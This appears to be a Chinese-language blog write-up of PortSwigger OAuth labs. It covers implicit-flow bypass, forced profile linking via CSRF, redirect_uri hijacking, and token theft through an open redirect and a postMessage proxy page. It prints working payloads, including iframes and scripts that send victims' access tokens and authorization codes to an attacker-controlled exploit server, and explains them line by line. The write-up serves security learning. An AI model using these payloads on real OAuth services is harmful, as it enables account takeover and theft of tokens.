OAuth authentication——OAuth 身份验证

理论知识

https://portswigger.net/web-security/oauth

Lab: Authentication bypass via OAuth implicit flow——实验:通过 OAuth 隐式流绕过身份验证

https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow

原理:

1.客户端对用户信息的验证不充分

  • 客户端从 OAuth 提供商接收到用户的基本信息和访问令牌后,仅凭这些信息直接信任并完成用户的登录。
  • 客户端未验证接收到的信息是否与用户实际的授权会话相关,导致攻击者可以伪造这些信息。

2. 缺乏绑定机制

  • OAuth 服务没有将用户的身份绑定到访问令牌或授权会话中。
  • 攻击者可以通过篡改数据(如电子邮件地址)冒充其他用户。

3. 访问令牌未有效限制

  • 客户端未正确验证访问令牌的使用范围或有效性。
  • 即使访问令牌可能属于攻击者本人,篡改后的请求依然能够绕过验证。

实验记录:

进入靶场,点击登录界面,输入wiener/peter,点击continue

我们登录的用户为wiener

经过翻找,/authenticate确认这个数据包为验证用户信息的功能

此处可以点击follow redirection,也可以request in browser(用这种方式演示)

copy链接后在浏览器中跳转,登录carlos成功

总结:

非常简单的一个修改登录参数即可绕过登录验证的一种情况

Lab: Forced OAuth profile linking——实验:强制 OAuth 配置文件链接

https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking

原理:

此漏洞的核心在于 OAuth 流程中的 CSRF 攻击。在 OAuth 流程中,客户端未使用 state 参数来验证请求的来源是否合法,导致攻击者可以通过 CSRF 攻击伪造请求,将其社交媒体配置文件链接到管理员账户。当管理员访问攻击者构造的恶意 iframe 时,其浏览器会自动向受害者的会话中发起 GET 请求,使用 OAuth 授权码完成流程。由于管理员的会话是活跃的,OAuth 授权操作就会将攻击者的社交媒体账户绑定到管理员账户上,从而让攻击者可以通过“使用社交媒体登录”功能以管理员身份登录。

实验记录:

登录后存在绑定社交媒体账号的功能,点击该功能

登陆后continue

显示成功绑定该社交媒体,我们进入bp观察数据包

此处为我们绑定社交媒体的第一步,会生成一个特定的code链接返回

访问这个code链接后,社交媒体账号会被绑定到此用户

经过观察,每次绑定,生成的code都是随机的,所以,我们对请求进行拦截,并且抓包

抓到此数据包,一定要drop这个数据包,因为放过这个数据包,这个code就绑定了

<iframe src="https://0a57005703ab54998099a35900b900ec.web-security-academy.net/oauth-linking?code=WH7kMP3YQ7JrnwEqoCwubXg0MrPygEr_-scgwSfxRUU"></iframe>

构造这个payload,进入deliver

先不要发送请求,进入刚刚被drop的界面,点击返回界面

进入My Account界面,退出登录

再次回到deliver界面,向管理员发送已经构造好的payload

进入主页,选择社交媒体登录,可以看到成功登录社交媒体账号

进入Admin panel,删除carlos用户

总结:

说人话就是普通的用户登录存在一个绑定社交媒体的OAuth功能,而我们可以构造恶意请求,让对方(也就是管理员)绑定到我们的用户,绑定成功后,再次通过社交媒体登录时,登录的就是绑定了管理员的账号,也就获得了管理员的权限

Lab: OAuth account hijacking via redirect_uri
——实验:通过 redirect_uri 劫持 OAuth 帐户

https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri

原理:

redirect_uri 是 OAuth 授权流程中的一个关键参数,通常指定返回授权码的地址。安全性依赖于 OAuth 提供者验证 redirect_uri 是否与注册的地址匹配。此实验中的漏洞主要由于:

  • 缺乏严格的验证:OAuth 提供者没有验证 redirect_uri 是否与客户端注册的地址一致。
  • 开放重定向:攻击者可以指定任意 redirect_uri,导致授权码被重定向到攻击者控制的地址。

实验记录:

进入靶场页面,会进行一个登录跳转,抓包

格式为/auth?client_id=l305g2jk5kc66hoxqj5sd&redirect_uri=https://0a5b00280376de4f80943f4500880034.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email

针对redirect_uri参数,将跳转转到exploit服务器上

构造如下paylaod

<iframe src="https://oauth-0a0700d903fdde7d80463d5302e400b7.oauth-server.net/auth?client_id=l305g2jk5kc66hoxqj5sd&redirect_uri=https://exploit-0aff00a8038fde5680e03e61017200f4.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email"></iframe>

deliver到受害者

查看exploit日志,发现?code=vL71czkhqERNShejI-XGVOLw0eZ8roWdll0chm0iXtQ,获取到了管理员的授权码

进行一个url拼接

https://0a5b00280376de4f80943f4500880034.web-security-academy.net/oauth-callback?code=vL71czkhqERNShejI-XGVOLw0eZ8roWdll0chm0iXtQ

总结:

因为url跳转的不严格,可以让其跳转至恶意服务器,获取到对方的授权码,从而拿到对方的权限

Lab: Stealing OAuth access tokens via an open redirect
——实验:通过开放重定向窃取 OAuth 访问令牌

https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect

原理:

实验中的 OAuth 服务仅对 redirect_uri 做了部分匹配验证:

  • 它允许在默认 redirect_uri 的基础上附加路径,如 ../,从而实现目录遍历并将用户重定向到任意页面。

实验记录:

经过页面跳转,登录,查看文章,点击下一页等操作,我们获取到如下数据包

此处为跳转登录的数据包,我们需要针对redirect_uri参数进行一个调试,将此处链接地址跳转到恶意的服务器上,此处存在目录穿越

这个报文就是文章跳转的一个数据包,因为无法直接修改上面的数据包造成url跳转,服务器可能对redirect_uri参数进行了域名验证,但是结合上面的目录穿越,以及系统中的查看下一页功能存在url跳转,我们可以对其进行综合利用

这个数据包很明显就是获取到apikey的数据包了,看到报文中存在authorization,后面的就是需要获取到的token

测试表明https://0a7f005404a214968497efa6000d006b.web-security-academy.net/post/next?path=https://google.com可以跳转到谷歌

拿到恶意服务器的网址,构造如下payload获取token

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-0a9a0073046014238441edca02970049.oauth-server.net/auth?client_id=mvhsjio9mh6fkhhei496f&redirect_uri=https://0a7f005404a214968497efa6000d006b.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a97001704a414a38431ee17017c003f.exploit-server.net/exploit&response_type=token&nonce=-216337877&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>
代码的全部分析

代码含义

1. 检查 URL 是否包含哈希部分

javascript复制代码if (!document.location.hash) {
  • 功能: 检查当前页面 URL 是否包含哈希片段 (# 开头的部分,例如 #access_token=...)。
  • 背景: 在 OAuth 隐式授权流程中,访问令牌通常以哈希片段的形式返回给客户端。
  • 逻辑:
    • 如果没有哈希部分(document.location.hash 为空),说明 OAuth 流程尚未完成。
    • 此时,脚本会启动 OAuth 授权流程。

2. 重定向到 OAuth 授权服务器

javascript复制代码window.location = 'https://oauth-0a9a0073046014238441edca02970049.oauth-server.net/auth?client_id=mvhsjio9mh6fkhhei496f&redirect_uri=https://0a7f005404a214968497efa6000d006b.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a97001704a414a38431ee17017c003f.exploit-server.net/exploit&response_type=token&nonce=-216337877&scope=openid%20profile%20email'
  • 功能: 将用户重定向到 OAuth 授权服务器以请求访问令牌。
  • 关键参数:
    1. client_id=mvhsjio9mh6fkhhei496f:
      • 客户端 ID,标识请求来源。
    2. redirect_uri=https://0a7f005404a214968497efa6000d006b.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a97001704a414a38431ee17017c003f.exploit-server.net/exploit:
      • OAuth 完成授权后的重定向地址。
      • 利用了开放重定向漏洞,../ 绕过路径验证,最终将用户引导到攻击者控制的地址。
    3. response_type=token:
      • 请求令牌返回方式为哈希片段。
    4. nonce=-216337877:
      • 防止重放攻击的随机值。
    5. scope=openid profile email:
      • 请求的权限范围,包括用户的 OpenID、基本信息和电子邮件地址。
  • 目的: 引导用户完成授权,并将令牌通过 redirect_uri 引导到攻击者控制的服务器。

3. 提取哈希片段并泄露

javascript复制代码} else {
    window.location = '/?'+document.location.hash.substr(1)
}
  • 功能: 如果 URL 包含哈希片段,提取其内容并泄露给攻击者。
  • 步骤:
    1. document.location.hash: 获取哈希片段,例如 #access_token=xyz&token_type=Bearer&expires_in=3600
    2. document.location.hash.substr(1): 去掉哈希片段的 #,结果为 access_token=xyz&token_type=Bearer&expires_in=3600
    3. 将哈希内容作为查询参数附加到当前页面路径:
      • URL 变为 https://0a7f005404a214968497efa6000d006b.web-security-academy.net/?access_token=xyz&token_type=Bearer&expires_in=3600
    4. 如果攻击者控制此页面,则可以通过日志或其他方式记录访问令牌。

获取受害者令牌的方式

将令牌附加到攻击者服务器的 URL(通过 /path/to/attacker?access_token=...)泄露。

诱导受害者授权:

通过伪造的 OAuth 授权请求,诱使受害者授权应用程序访问其资源。

在受害者完成授权后,OAuth 授权服务器会返回令牌。

利用开放重定向漏洞:

授权服务器会根据 redirect_uri 参数进行重定向。

如果 redirect_uri 验证存在问题(例如未严格限制域名),攻击者可以通过路径遍历 (../) 引导用户跳转到攻击者控制的服务器。

提取并转发令牌:

JavaScript 提取 OAuth 返回的访问令牌(URL 哈希片段)。

简单理解,此代码的利用点有,redirect_uri存在../目录穿越,导致可以构造成../post/next?path=,path参数可以填写任意url,导致url跳跃到exploit网址,受害者访问此页面,导致token被窃取

发送至受害者,access log存在token

修改authorization后的token值,拿到administrator的apikey

总结:

多漏洞的巧妙利用,当参数验证后可以尝试目录穿越,在测试系统中找到可以替代url跳转的功能

Lab: Stealing OAuth access tokens via a proxy page
——实验:通过代理页面窃取 OAuth 访问令牌

https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page

原理:

redirect_uri 参数验证缺陷

OAuth 流程中的 redirect_uri 是用来指示认证服务在完成授权后,重定向到客户端应用程序的地址。

  • 安全设计期望
    redirect_uri 应该被严格限制为客户端应用程序的可信地址范围。例如,OAuth 服务应验证 redirect_uri 是否完全匹配事先注册的安全地址。
  • 漏洞表现
    该实验的 redirect_uri 参数允许目录遍历攻击(../),攻击者可以通过构造特殊的路径,将认证重定向到任意页面,例如 /post/comment/comment-form
  • 后果
    攻击者可以控制 redirect_uri,将 OAuth 访问令牌泄露到其指定的页面或脚本中。

2. 跨域消息传递(postMessage)滥用

客户端应用程序的 /post/comment/comment-form 页面使用了 postMessage 方法,与父窗口进行通信,但存在以下设计缺陷:

  • 消息来源验证不足
    postMessage 方法的目标是允许子窗口和父窗口安全通信,但此实验中的代码允许接收来自任意来源(*)的消息。
  • 发送敏感信息
    postMessage 方法将页面的 URL (window.location.href) 传递给父窗口,URL 中包含 OAuth 访问令牌。
  • 后果
    攻击者通过嵌入目标页面(例如 /post/comment/comment-form)为 iframe,并利用 postMessage 捕获该页面发送的 URL,从而获取访问令牌。

实验记录:

一样抓包,跳转,登录,拿到如下数据包

这次是利用评论功能获取token

<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
代码详解

这段代码涉及通过 postMessage 方法向父窗口发送消息,并处理表单提交的逻辑。下面逐步解析其功能和含义:


1. parent.postMessage 用法

代码中的两处 parent.postMessage 分别发送了不同类型的消息:

parent.postMessage({type: 'onload', data: window.location.href}, '*')
  • 触发时机:这段代码在页面加载时立即执行。
  • 作用
    • 向父窗口发送消息,内容为当前页面的 URL (window.location.href)。
    • 消息的格式是一个对象,包含两个字段:
      • type: 'onload':表示消息的类型。
      • data: window.location.href:表示发送的数据(当前页面的完整 URL)。
    • ' * ':表示消息可以发送到任何域名的父窗口(无域限制)。

2. submitForm 函数

该函数处理表单提交事件:

function submitForm(form, ev) {
    ev.preventDefault(); // 阻止表单的默认提交行为。
  • 触发时机:当用户试图提交表单时。
  • 作用
    • 阻止浏览器的默认提交行为,避免页面刷新。
    • 自定义表单数据的处理和传输。

3. 提取表单数据

const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
  • 解释
    1. FormData:提取表单数据。
      • new FormData(document.getElementById("comment-form")) 从表单中获取用户填写的所有字段和值。
    2. URLSearchParams:解析 URL 的哈希部分(# 后的内容)。
      • window.location.hash.substr(1) 去掉哈希符号(#)。
      • new URLSearchParams() 用于提取键值对。
    3. 将提取的数据存储到对象 o 中:
      • formData 中的每个键值对添加到对象 o
      • hashParams 中的每个键值对也添加到对象 o,可能覆盖 formData 中的某些字段。

4. 发送消息给父窗口

parent.postMessage({type: 'oncomment', content: o}, '*');
  • 作用
    • 向父窗口发送一个新消息,类型为 oncomment
    • 消息内容为对象 o,包含表单数据和 URL 哈希中的键值对。

5. 重置表单

form.reset();
  • 提交后清空表单的输入字段。

总体功能

  1. 页面加载时
    • 向父窗口发送当前页面 URL,通知父窗口页面已加载。
    • 消息格式为:{type: 'onload', data: 当前页面 URL}
  2. 表单提交时
    • 阻止默认提交行为。
    • 提取表单中的所有字段和值。
    • 提取 URL 哈希部分的键值对。
    • 将以上数据组合成一个对象。
    • 通过 postMessage 向父窗口发送消息,内容为提交的数据。

简单说就是会向父页面发送url

构造如下payload

<iframe src="https://oauth-0a83000e03f0592d83358c8b0201006a.oauth-server.net/auth?client_id=dx0e8yp0lojkd8y54mcy8&redirect_uri=https://0a5500db03f3592083f98e73007c0050.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>
代码详解

这段代码的作用是利用 OAuth 流程中的 redirect_uri 漏洞和目标网页的跨域消息通信机制,从目标网页中窃取 OAuth 访问令牌并将其发送到攻击者控制的服务器日志中。

以下是代码的详细解释:


1. <iframe> 元素

<iframe src="https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=dx0e8yp0lojkd8y54mcy8&redirect_uri=https://0a5500db03f3592083f98e73007c0050.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
  • 功能
    嵌套一个 iframe,加载构造的 OAuth 授权 URL。
  • 关键点
    • redirect_uri 漏洞
      • redirect_uri 参数被设置为 /oauth-callback/../post/comment/comment-form,利用目录遍历(../)绕过验证,指向目标的评论表单页面 /post/comment/comment-form
      • 当 OAuth 流程完成后,用户的访问令牌会作为 URL 的片段参数(#access_token=...)附加到这个页面的地址中。
    • response_type=token
      • 指定 OAuth 响应类型为令牌(Implicit Flow),会直接在重定向的 URL 中返回访问令牌。

2. <script> 脚本

<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>
  • 功能
    监听 postMessage 消息,并通过 fetch 方法将窃取的数据发送到攻击者的服务器。

具体分析:

  1. window.addEventListener('message', ...)
    • 监听 message 事件,用于处理目标网页通过 postMessage 发送的消息。
    • /post/comment/comment-form 页面加载后,它会使用 postMessage 将其当前 URL(包含访问令牌)发送给父窗口。
  2. e.data.data
    • e 是事件对象,包含消息的相关数据。
    • e.data.data 是目标网页通过 postMessage 发送的内容,通常是 window.location.href,即完整的页面 URL。
  3. fetch("/" + encodeURIComponent(e.data.data))
    • 将获取到的 URL(包括访问令牌)通过 fetch 方法发送到攻击者服务器。
    • 具体表现为向攻击者服务器的根路径(/)发送一个请求,带有 URL 编码的令牌作为路径参数。例如: GET /https%3A%2F%2Ftarget-url%3Faccess_token%3Dxyz...

3. 攻击流程

  • 嵌套 iframe: 攻击者利用 iframe 加载构造的 OAuth URL,完成授权流程并重定向到目标页面 /post/comment/comment-form
  • 跨域窃取令牌
    • /post/comment/comment-form 页面会通过 postMessage 将 URL(包含令牌)发送到父窗口。
    • 攻击者的脚本监听这些消息,并通过 fetch 将 URL(包含令牌)发送到攻击者控制的服务器。
  • 利用访问令牌: 攻击者获得令牌后,可以模拟管理员用户,访问受保护的资源或 API。

简单说就是,这个页面,对方打开会渲染,渲染的同时对方的token也被获取到,通过js可以将token发送给指定的网址,也就是accesslog记录的内容

在日志发现accesstoken

拿到apikey

总结:

后面三个漏洞,只是利用方式的不同罢了,第一个是uri参数直接没有限制,会直接跳转到指定url,第二个是uri限制域名,但是../可以进行绕过,并且文章翻页功能存在url跳转可以一起利用,第三个就是评论由iframe构成,可以让受害者加载并窃取token。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇